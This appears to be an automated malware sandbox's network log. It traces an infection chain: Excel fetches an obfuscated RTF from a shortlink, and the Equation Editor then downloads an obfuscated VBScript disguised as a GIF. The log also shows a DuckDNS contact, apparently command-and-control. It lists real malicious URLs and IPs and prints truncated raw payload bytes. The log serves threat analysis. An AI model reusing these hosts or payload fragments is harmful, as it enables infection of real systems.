Jul 26, 2024 13:14:03.662625074 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:14:03.663198948 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:14:03.668999910 CEST	14645	49173	194.187.251.115	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:08:44.008558989 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:08:44.020967960 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 26, 2024 13:08:46.128570080 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:08:46.376538038 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 26, 2024 13:08:47.720119953 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:08:47.730391979 CEST	53	62751	8.8.8.8	192.168.2.22
Jul 26, 2024 13:08:47.732201099 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:08:47.746718884 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 26, 2024 13:08:51.646054983 CEST	54821	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:08:51.660269976 CEST	53	54821	8.8.8.8	192.168.2.22
Jul 26, 2024 13:08:51.661659956 CEST	54719	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:08:51.726756096 CEST	53	54719	8.8.8.8	192.168.2.22
Jul 26, 2024 13:09:00.438282013 CEST	49881	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:09:00.541742086 CEST	53	49881	8.8.8.8	192.168.2.22
Jul 26, 2024 13:09:03.381026983 CEST	54998	53	192.168.2.22	8.8.8.8
Jul 26, 2024 13:09:03.391727924 CEST	53	54998	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 13:08:44.008558989 CEST	192.168.2.22	8.8.8.8	0xa853	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:46.128570080 CEST	192.168.2.22	8.8.8.8	0x4233	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:47.720119953 CEST	192.168.2.22	8.8.8.8	0x8061	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:47.732201099 CEST	192.168.2.22	8.8.8.8	0x20ad	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:51.646054983 CEST	192.168.2.22	8.8.8.8	0x1100	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:51.661659956 CEST	192.168.2.22	8.8.8.8	0x2664	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:09:00.438282013 CEST	192.168.2.22	8.8.8.8	0xcebe	Standard query (0)	sembe.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:09:03.381026983 CEST	192.168.2.22	8.8.8.8	0xbb3f	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 13:08:44.020967960 CEST	8.8.8.8	192.168.2.22	0xa853	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:44.020967960 CEST	8.8.8.8	192.168.2.22	0xa853	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:46.376538038 CEST	8.8.8.8	192.168.2.22	0x4233	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:46.376538038 CEST	8.8.8.8	192.168.2.22	0x4233	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:47.730391979 CEST	8.8.8.8	192.168.2.22	0x8061	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:47.730391979 CEST	8.8.8.8	192.168.2.22	0x8061	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:47.746718884 CEST	8.8.8.8	192.168.2.22	0x20ad	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:47.746718884 CEST	8.8.8.8	192.168.2.22	0x20ad	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:51.660269976 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:51.660269976 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:51.726756096 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:08:51.726756096 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:09:00.541742086 CEST	8.8.8.8	192.168.2.22	0xcebe	No error (0)	sembe.duckdns.org	194.187.251.115	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:09:03.391727924 CEST	8.8.8.8	192.168.2.22	0xbb3f	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tny.wtf

192.3.176.174

198.46.176.133

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	188.114.96.3	80	724	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:44.031326056 CEST	316	OUT	GET /sA HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tny.wtf Connection: Keep-Alive
Jul 26, 2024 13:08:45.200596094 CEST	750	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 11:08:45 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://192.3.176.174/60/gbh/creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback.doc X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zZJ4aimGfbtijcnS3y2hoYF3OwEeFjuacCtHGKGmFpETlw43OI6Z%2FDLCLrx5uZyRSQT%2FHTXNLDV%2BWUJbDmS1Ugv6joh%2FwAaXbldV9r%2BghJGmggrRjTinxkw9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93eef9c9618c41-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	192.3.176.174	80	724	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:45.211235046 CEST	477	OUT	GET /60/gbh/creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback.doc HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.174 Connection: Keep-Alive
Jul 26, 2024 13:08:45.694180012 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:08:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 06:00:53 GMT ETag: "14fdf-61e203bf34de1" Accept-Ranges: bytes Content-Length: 85983 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword Data Raw: 7b 5c 72 74 66 31 0d 0d 0d 0d 0d 09 09 09 7b 5c 2a 5c 61 6f 75 74 6c 31 37 33 34 39 38 30 38 39 20 5c 22 7d 0d 7b 5c 34 34 33 36 30 39 30 35 34 60 3f 3a 60 27 31 3d 5d 32 3d 5d 36 35 36 5b 7e 38 7c 23 5f 40 a7 30 b0 25 29 35 2d 7c 38 2c 39 2c 60 21 60 35 3e 40 2e 3e 5e 3e 3c 3c 60 36 5e b0 7e 3f 7e 3c 3b 5f 3f 35 a7 36 28 32 b5 3f 3f 38 38 38 25 34 2f 26 2f 3e 38 3b 5e 27 34 21 2d 38 2e 24 37 5e 2d 36 27 2a 25 30 33 38 3f 39 3a 7c 29 2f 39 30 7e 3e 31 3f 21 2f 5d 3f 3a 7c 35 34 26 3f 28 21 29 5e 25 2e 5e 26 3f 32 7e 33 7c 33 28 7c 40 37 24 5d 2a 5e 3f 39 3a 26 21 2b 3f 5b a7 38 24 2c 7e 5d 24 26 21 39 32 7e 23 37 36 5f 24 2b 7e 5f 38 b5 2f 38 5e 30 3f 3f 3f 21 38 3f 40 36 25 40 2d 25 27 28 38 5e 25 28 3b 7e 38 3f 2c 3f 34 31 2c 39 28 36 40 25 33 b0 5b 3a 36 23 3f 24 26 34 5e 3f 5d 3b 40 7e 2a 24 3f 27 2b 3f 30 33 7e 3f 28 3b 5b 3e 40 60 3f 25 2d 34 2d 3f 30 2a 38 3b b0 3f a7 38 24 5d 5e b5 21 2f 32 a7 3f 39 a7 5e 5e 32 7e 5d 3b a7 b0 3f 35 3f b5 36 25 b0 3f 35 2d 2f 5e 7c 25 a7 7c 25 40 2f 2e 3a 30 [TRUNCATED] Data Ascii: {\rtf1{\\aoutl173498089 \"}{\443609054`?:`'1=]2=]656[~8\|#_@0%)5-\|8,9,`!`5>@.>^><<`6^~?~<;_?56(2??888%4/&/>8;^'4!-8.$7^-6'%038?9:\|)/90~>1?!/]?:\|54&?(!)^%.^&?2~3\|3(\|@7$]^?9:&!+?[8$,~]$&!92~#76_$+~_8/8^0???!8?@6%@-%'(8^%(;~8?,?41,9(6@%3[:6#?$&4^?];@~$?'+?03~?(;[>@`?%-4-?08;?8$]^!/2?9^^2~];?5?6%?5-/^\|%\|%@/.:03,=9%?@!=>$2~%8$?.$?55%?>;@:3!7:?)?~@?41/<@/&?(2#?<1,?`],1^1!;6%7+]8?895?10,%(?\|-5`%4?4+^-03$0]#%~-5)'!02@?(4%?95#^\|?3%[947=2?$_&`2??[?)();<.;??'_!3=?):5=]=_[(-32%'++\|9?5?^_>!1+!`;5?<)27??~?1;9)_0=(%=$89-%$]6![%=&`0($!++%<%_68\|>7/\|%]1&6<-?<9(420^(??@[3(%5'_?$5-$>%5<36:=#>)2&/51@$17?,0+(%>8+>%16!4\|!(.`34\|86;&?%1&\|^7?;[+&;:[12%)]4/;6%=/_!5?+;?@~$~[?%@=@?.>+\|>$&~#?383'$^?<'5].7)~06^~\|.[0?&[:%?^^;,3?%`,:^0>-<6?=&\|??]?`-&\|/[`780&0\|!.%$8!%)4&?_:\|']#;[[37&_1]:)9:$%&=+?5`?5]($??#(:?!!3?)?;-6<\|-_.,&??+>-;'\|:<?\|)24,[,%(8<
Jul 26, 2024 13:08:45.694797993 CEST	1236	IN	Data Raw: 3f 5f 40 3e 3a 38 3f 23 23 2d 3b 3f 2d 36 3f 3f 3f 29 3e b5 3f 34 3d 5d 25 3f 2b 2f 25 35 34 26 3f 3f 39 3f 31 5d 3e 35 5e 26 3a 32 5d 34 3f 27 28 39 23 2e 3e 36 3f 36 60 39 2e 3b 24 23 32 2b 7e 2e b5 24 5b 5d 60 35 24 2b 31 3f 39 3f 28 b0 3c 26 Data Ascii: ?_@>:8?##-;?-6???)>?4=]%?+/%54&??9?1]>5^&:2]4?'(9#.>6?6`9.;$#2+~.$[]`5$+1?9?(<&[&87$:40?\|(~@#(0(.%>.\|)]~$=]=8^1#;>7)~+01550=?1?99.7>?6)!%0#\|;76'($8?(@~!&@)0_5@:;4\|%$!5)]\|#):~)<,?=!;-85&[~'*&6^]4,:`+>(?@~~9?4%_>?2)/?~9+#:<%+@?61#
Jul 26, 2024 13:08:45.694847107 CEST	1236	IN	Data Raw: 37 3f 5e 7c 5b 25 27 3f 24 23 35 31 2f 36 3f 7c 36 30 3f 5d 3f 40 3f 28 34 2c 37 33 7c 36 35 3f 26 40 27 3a 38 24 35 36 21 31 3f 2a 34 25 3f 5e 2b 3b 32 37 35 2e 31 3c 28 27 28 3b 5f 23 5e 38 27 b0 3f 25 7c 38 2b 3e b5 3e 3f 28 35 27 23 28 3f 7c Data Ascii: 7?^\|[%'?$#51/6?\|60?]?@?(4,73\|65?&@':8$56!1?4%?^+;275.1<('(;_#^8'?%\|8+>>?(5'#(?\|,$?9'05=^0#8_.\|&)83]!?+!?~`-(4%~5?$,`',8`?6?,75?)'[&21$21?1~@#?,%&><_4?$-?+\|?+7@&~)#,;&8'^4?!3<89](/??)4(2~]-6=8]1[?<+>/7:?~?:([2>!(;?,+[.-^34_=*\|?+/)?
Jul 26, 2024 13:08:45.697230101 CEST	1236	IN	Data Raw: 2f 38 60 2d 7e 24 25 40 7c 3c 30 3b 39 2c 2a 21 3f 25 27 7e 40 3d 3e 39 5d 32 34 23 21 37 25 26 3f 3c 3f 3a a7 2f 2e 5e 2d 32 34 3a b5 25 b0 36 23 3d a7 60 24 25 26 27 3b 5f 2d 39 3f 26 2b 3d 7c 37 3f 25 34 5d 5d 3a 37 2b 5f 34 b0 28 3f 7e 3f 5d Data Ascii: /8`-~$%@\|<0;9,!?%'~@=>9]24#!7%&?<?:/.^-24:%6#=`$%&';_-9?&+=\|7?%4]]:7+_4(?~?]_8<9%=?54?>~,_?@#9'?)7\|?^4#57=9,?$63!>??~2%`')$=4.?>]#%,^]3(~@$@0>8+12>~3>^%#;:(?7\|914%#3%!?,6?%,.4>\|-2:?7??</18?#0)0:$%\|]^305?1??<4~?$?8/1?>+4(0
Jul 26, 2024 13:08:45.697247982 CEST	1236	IN	Data Raw: 25 35 32 5b 2b 7c 27 3c 36 3d 3e 26 3c 29 3f b0 2d 28 2a 7c 2b 2d 31 3b 31 3f 2a 3c 32 2e 3f 26 31 3a 5f 60 3f 3f 31 21 2a 2c 31 23 2f 7e 2f 23 2a 2e 3d 35 34 2b 32 25 3e 31 25 3e 25 b0 26 32 2b a7 3f b0 36 5d 25 34 5f 38 5f 3c 3e a7 3b 3f 5b b5 Data Ascii: %52[+\|'<6=>&<)?-(\|+-1;1?<2.?&1:_`??1!,1#/~/#.=54+2%>1%>%&2+?6]%4_8_<>;?[!<10![3#(8^&):-5+__'&6>33;?>??!.79$,>9=?>=^)8$-2.??.\|.)#?\|:=`!?`'$1]#.6)?</=_`%?^%8?;?%.5)&>00&:;#(#?((4&:%%`3\|6#=#0*1?.%'%0`%0$_5-3-?5+);?~)1?01?&%~?
Jul 26, 2024 13:08:45.700047970 CEST	1236	IN	Data Raw: 20 20 09 09 20 09 09 09 09 09 20 09 09 20 20 20 20 20 20 09 09 20 09 20 20 20 09 20 09 20 20 09 09 09 09 20 20 20 09 09 09 20 39 0d 0d 0a 0a 0a 0a 0a 0a 0a 0d 0a 0a 0d 0a 0a 0a 0d 0d 0a 0a 0d 32 61 20 09 20 09 09 09 09 09 20 20 20 20 20 20 20 20 Data Ascii: 92a 0 2000
Jul 26, 2024 13:08:45.700064898 CEST	1236	IN	Data Raw: 20 09 09 20 09 09 20 20 09 20 20 09 20 20 20 20 20 09 09 09 20 30 0d 0d 0d 0d 0a 0d 0d 0a 0d 0a 0a 0a 0d 0a 0a 0a 0a 0a 0d 0a 0d 30 09 09 09 20 20 20 09 09 09 09 09 20 20 20 20 20 09 20 20 09 20 09 20 09 20 09 20 09 09 20 20 09 09 20 20 09 20 09 Data Ascii: 00 0 05e0
Jul 26, 2024 13:08:45.702858925 CEST	1236	IN	Data Raw: 0d 0d 0a 0d 0a 0d 0d 0a 0a 0d 0a 0d 37 0d 0a 0a 0a 0a 0a 0a 0d 0a 0d 0d 0d 0d 0a 0d 0d 0a 0a 0d 0a 0d 30 0a 0a 0a 0d 0d 0d 0a 0a 0a 0d 0a 0d 0d 0d 0a 0d 0a 0a 0d 0a 0d 31 61 0a 0d 0a 0d 0d 0d 0d 0a 0a 0d 0a 0d 0d 0d 0a 0d 0a 0a 0d 0a 0d 62 0d 0d Data Ascii: 701ab8b45b 08
Jul 26, 2024 13:08:45.702874899 CEST	1236	IN	Data Raw: 0d 65 30 0d 0d 0d 0a 0a 0d 0a 0a 0a 0a 0a 0a 0d 0a 0a 0a 0d 0d 0d 0a 0d 32 0d 0d 0d 0a 0a 0d 0a 0a 0a 0a 0a 0a 0d 0a 0a 0a 0d 0d 0d 0a 0d 33 39 31 30 20 20 09 09 09 20 09 09 09 20 20 09 09 09 09 20 09 09 09 09 09 09 09 20 09 20 20 09 09 20 09 20 Data Ascii: e023910 fd57 0150fea4
Jul 26, 2024 13:08:45.705760956 CEST	1236	IN	Data Raw: 09 09 09 20 09 09 09 09 20 20 09 20 20 09 09 20 09 09 20 20 20 09 20 09 20 09 20 09 20 09 09 20 09 09 09 20 20 20 20 20 09 20 09 20 09 09 09 20 36 20 20 20 09 20 20 20 09 20 20 09 20 09 20 09 09 09 09 20 09 09 09 09 20 09 09 09 09 20 20 09 20 20 Data Ascii: 6 7 fff91
Jul 26, 2024 13:08:45.705840111 CEST	1236	IN	Data Raw: 09 09 09 20 20 09 20 20 09 20 65 20 09 20 09 09 09 20 20 09 20 09 20 20 09 20 09 09 20 09 09 09 09 20 09 20 09 09 20 20 20 09 20 09 09 09 09 20 20 09 09 09 20 20 20 09 09 20 09 09 09 20 09 20 09 09 20 20 20 09 09 09 20 20 09 20 20 09 20 39 09 09 Data Ascii: e 9 6f01000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	188.114.97.3	80	2504	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:46.836004972 CEST	129	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 13:08:47.108252048 CEST	558	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 11:08:47 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jJElqVnUA8jKAx%2F3PmV0wFJdjDNyvn8deX5%2B0FMsEEFY2LgzOlpDDiWBEmqVoyPaex68lylLAgyk9nol7pY2Y03zAZpaFKvvz4cN800pE244OSTpBPUufyBF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef0988077288-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 13:08:47.367516041 CEST	129	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 13:08:47.515921116 CEST	562	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 11:08:47 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J3zRELeiEaDmw4y51hpaSqR5HJUC7tJYsS6NiS8pIdb8C4VnJ%2BAFmlxrWEe4Ehzvc1hOVzJpro8aThAGNaDy1v1Jf1MuEDT6My%2FkHgsficCy1%2BHgs915%2Bj46"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef0c5a7e7288-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 13:08:47.524637938 CEST	129	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 13:08:47.677181959 CEST	560	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 11:08:47 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h6f%2BYPJbcgtCcj7FAeR%2B3SmYzifSQgkg5DDsALOW850tHuATRAJEs04PCjkDMyoSDzzcFcXtlXs3y0gZ83gqmPazoOWQlVTepC7Hq1luWpTVG%2F6VaEILJLz5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef0d5b577288-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 13:08:52.411298037 CEST	129	OUT	HEAD /sA HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 13:08:52.580640078 CEST	548	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 11:08:52 GMT Connection: keep-alive Allow: GET X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=69z6GR35FERSrAftuEP4Jq3vDRrFRNMcwRs3qWPs5iBKtKhZOG%2BqqkIDV70o8Q3LfVu9eDJsgFq0%2Bf0uHoUXRzUqok3wMtf4emB1tqyis6kj4dz%2F93inL4QX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef2beb7c7288-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	188.114.96.3	80	2504	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:47.752281904 CEST	110	OUT	HEAD /sA HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: tny.wtf
Jul 26, 2024 13:08:48.301784039 CEST	544	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 11:08:48 GMT Connection: keep-alive Allow: GET X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HT8EM5KiQy3%2Fa69BXqQrXmwae9jBZDQSWfCVNh9Lwqc02hqOKtuS6RJyRlGl5snmax2mwcG7Vf3C1tJpuj8eBSXGC9X9Hv7sI22gM4tSdazJ0xgNVygo1t6k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef1109ce8cbf-EWR alt-svc: h3=":443"; ma=86400
Jul 26, 2024 13:08:48.514794111 CEST	544	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 11:08:48 GMT Connection: keep-alive Allow: GET X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HT8EM5KiQy3%2Fa69BXqQrXmwae9jBZDQSWfCVNh9Lwqc02hqOKtuS6RJyRlGl5snmax2mwcG7Vf3C1tJpuj8eBSXGC9X9Hv7sI22gM4tSdazJ0xgNVygo1t6k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef1109ce8cbf-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.22	49169	188.114.97.3	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:51.734004974 CEST	124	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: tny.wtf
Jul 26, 2024 13:08:52.280599117 CEST	566	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 11:08:52 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=prf2EfDG%2FCvxWIKSDeHLWKkfPTRVsDRCuAyW86jiVQSWKfa%2B1kiG8tSJiY%2FSvWP3xgtqHIfqHeO7mMkS287lmAmNei3rpT18q%2FqWq1khLz%2BA%2BqJLrw1dVGQ1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef29effcc354-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 13:08:52.496649981 CEST	566	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 11:08:52 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=prf2EfDG%2FCvxWIKSDeHLWKkfPTRVsDRCuAyW86jiVQSWKfa%2B1kiG8tSJiY%2FSvWP3xgtqHIfqHeO7mMkS287lmAmNei3rpT18q%2FqWq1khLz%2BA%2BqJLrw1dVGQ1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ef29effcc354-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49170	192.3.176.174	80	3120	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:53.072285891 CEST	333	OUT	GET /60/creatednewwaterbottleforme.gIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.174 Connection: Keep-Alive
Jul 26, 2024 13:08:53.571343899 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:08:53 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 05:56:01 GMT ETag: "667e4-61e202a894788" Accept-Ranges: bytes Content-Length: 419812 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/gif Data Raw: ff fe 64 00 69 00 6d 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 0d 00 0a 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 3d 00 20 00 6d 00 65 00 6c 00 65 00 61 00 6e 00 74 00 65 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 6d 00 61 00 72 00 61 00 6e 00 68 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 64 00 72 00 75 00 70 00 61 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 69 00 6e 00 64 00 69 00 67 00 65 00 6e 00 61 00 74 00 6f 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 6d 00 75 00 6c 00 68 00 65 00 [TRUNCATED] Data Ascii: dim platinamina platinamina = meleanteacovar("maranhar") & platinamina & _acovar("drupa") & platinamina & _acovar("indigenato") & platinamina & _acovar("mulherinha") & platinamina & _acovar("X_HelpUris_005_0_Message") & platinamina & _acovar("antro") & platinamina & _acovar("mascarada") & platinamina & _acovar("X_HelpUris_008_0_Message") & platinamina & _acovar("X_HelpUris_009_0_Message") & platinamina & _acovar("X_HelpUris_010_0_Mess
